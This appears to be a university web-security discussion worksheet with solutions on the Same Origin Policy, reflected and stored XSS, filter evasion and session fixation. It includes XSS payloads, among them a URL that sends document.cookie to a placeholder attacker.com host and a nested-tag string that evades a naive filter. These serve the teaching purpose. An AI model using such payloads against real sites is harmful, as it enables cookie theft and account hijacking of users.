Week of February 8, 2016

**Question 1  ** *Warmup: SOP*  (5 min)

The Same Origin Policy (SOP) helps browsers maintain a sandboxed model by preventing certain webpages from accessing others. Two resources (can be images, scripts, HTML, etc.) have the same origin if they have the same protocol, port, and host. As an example, the URL `http://inst.berkeley.edu/eecs` has the protocol HTTP, its port is implicitly 80, the default for HTTP, and the host is inst.berkeley.edu.

Fill in the table below indicating whether the webpages shown can be accessed by `http://amazon.com/store/item/83`.

<table>
<thead>
<tr>
<th>Origin</th>
<th>Can Access?</th>
<th>Reason if not</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://store.amazon.com/item/83">http://store.amazon.com/item/83</a></td>
<td></td>
<td></td>
</tr>
<tr>
<td><a href="http://amazon.com/user/56">http://amazon.com/user/56</a></td>
<td></td>
<td></td>
</tr>
<tr>
<td><a href="https://amazon.com/store/item/345">https://amazon.com/store/item/345</a></td>
<td></td>
<td></td>
</tr>
<tr>
<td><a href="http://amazon.com:2000/store">http://amazon.com:2000/store</a></td>
<td></td>
<td></td>
</tr>
<tr>
<td><a href="http://amazin.com/store">http://amazin.com/store</a></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Solution:**

<table>
<thead>
<tr>
<th>Origin</th>
<th>Can Access?</th>
<th>Reason if not</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://store.amazon.com/item/83">http://store.amazon.com/item/83</a></td>
<td>No</td>
<td>different host</td>
</tr>
<tr>
<td><a href="http://amazon.com/user/56">http://amazon.com/user/56</a></td>
<td>Yes</td>
<td></td>
</tr>
<tr>
<td><a href="https://amazon.com/store/item/345">https://amazon.com/store/item/345</a></td>
<td>No</td>
<td>different protocol</td>
</tr>
<tr>
<td><a href="http://amazon.com:2000/store">http://amazon.com:2000/store</a></td>
<td>No</td>
<td>different port</td>
</tr>
<tr>
<td><a href="http://amazin.com/store">http://amazin.com/store</a></td>
<td>No</td>
<td>different host</td>
</tr>
</tbody>
</table>
As part of your daily routine, you are browsing through the news and status updates of your friends on the social network FaceSpace.

(a) While looking for a particular friend, you notice that the text you entered in the search string is displayed in the result page. Next to you sits a suspicious looking student with a black hat who asks you to try queries such as

```
<script>alert(42);</script>
```

in the search field. What is this student trying to test?

**Solution:** The student is investigating whether FaceSpace is vulnerable to a reflected XSS attack. If a pop-up spawns upon loading the result page, FaceSpace would be vulnerable. However, the converse is not necessarily true. If the query string would be shown literally as search result, it could just mean that FaceSpace sanitizes basic *script* tags. Sneakier XSS vectors that try to evade sanitizers [1] could still be successful.

(b) The student also asks you to post the code snippet to the wall of one of your friends. How is this test different from part (a)?

**Solution:** The student is now checking whether FaceSpace is vulnerable to a stored (or persistent) XSS attack, rather than simply looking for a reflected XSS vulnerability as in part (a). This is a more dangerous version of XSS because the victim now only needs to visit the site that contains the injected script code, rather than clicking on a link provided by the attacker.

(c) The student is delighted to see that your browser spawns a JavaScript pop-up in both cases. What are the security implications of this observation? Write down an
example of a malicious URL that would exploit the vulnerability in part (a).

Solution:
The fact that a pop-up shows up attests to the fact that the browser executed the JavaScript code, and means that FaceSpace is vulnerable to both reflected and stored XSS. An attacker could deface the web page or steal cookies. Here is an example of a URL that can be used to steal cookies:

http://facespace.com/search?q=<script>window.location=\n'http://www.attacker.com/grab.cgi?'+document.cookie</script>

(d) Why does an attacker even need to bother with XSS? Wouldn’t it be much easier to just create a malicious page with a script that steals all cookies of all pages from the user’s browser?

Solution: This would not work due to the same-origin policy (SOP). The SOP prevents access to methods and properties of a page from a different domain. In particular, this means that a script running on the attacker’s page (on say attacker.com) cannot access cookies for any other site (bank.com, foo.com and so on).

(e) FaceSpace finds out about this vulnerability and releases a patch. You find out that they fixed the problem by removing all instances of `<script>` and `</script>`. Why is this approach not sufficient to stop XSS attacks? What’s a better way to fix XSS vulnerabilities?

Solution: This solution is ineffective because we can still craft a string that will be valid Javascript after removing the `<script>` tags. For example,

```
<scr<script>ipt>alert(42);</scr</script>ipt>
```

will become `<script>alert(42);</script>`. There are a couple of better ways to prevent XSS attacks; we can either do input sanitization, which means that we remove any character that might be part of an attack, or do character escaping, which means we transform special characters into a different representation (for example, `< to &lt;`). In either case, we need to carefully consider where in our site we need to protect; XSS attacks commonly target HTML elements, attributes, URLs, and Javascript data values. The best policy is to simply not put untrusted data in the content, except in allowed locations, and make sure the data is safe by validating it.

**Question 3  Session Fixation**  
(15 min)

Some web application frameworks allow cookies to be set by the URL. For example, visiting the URL
http://foobar.edu/page.html?sessionid=42.

will result in the server setting the `sessionid` cookie to the value “42”.

(a) Can you spot an attack on this scheme?

(b) Suppose the problem you spotted has been fixed as follows. `foobar.edu` now establishes new sessions with session IDs based on a hash of the tuple (username, time of connection). Is this secure? If not, what would be a better approach?

**Solution:**

(a) The main attack is known as *session fixation*. Say the attacker establishes a session with `foobar.edu`, receives a session ID of 42, and then tricks the victim into visiting `http://foobar.edu/browse.html?sessionid=42` (maybe through an `img` tag). The victim is now browsing `foobar.edu` with the attacker’s account. Depending on the application, this could have serious implications. For example, the attacker could trick the victim to pay his bills instead of the victim’s (as intended).

Another possibility is for the attacker to fix the session ID and then send the user a link to the log-in page. Depending on how the application is coded, it might so happen that the application allows the user to log-in but reuses the previous (attacker-set) session ID. For example, if the victim types in his username and password at `http://foobar.edu/login.html?sessionid=42`, then the session ID 42 would be bound to his identity. In such a scenario, the attacker could impersonate the victim on the site. This is uncommon nowadays, as most login pages reset the session ID to a new random value instead of reusing an old one.

(b) The proposed fix is not secure since it solves the wrong problem, per the discussion in part (a). Even if it were the right approach, timestamps and user names do not provide enough entropy, and could be guessable with a few thousand tries.

The correct fix is for the server to generate cookie values afresh, rather than setting them based on the session ID provided via URL parameters.

A final note: do not hesitate to ask for help! Our office hours exist to help you. Please visit us if you have any questions or doubts about the material.

**References**

[http://www.thespanner.co.uk/2010/09/15/one-vector-to-rule-them-all/](http://www.thespanner.co.uk/2010/09/15/one-vector-to-rule-them-all/).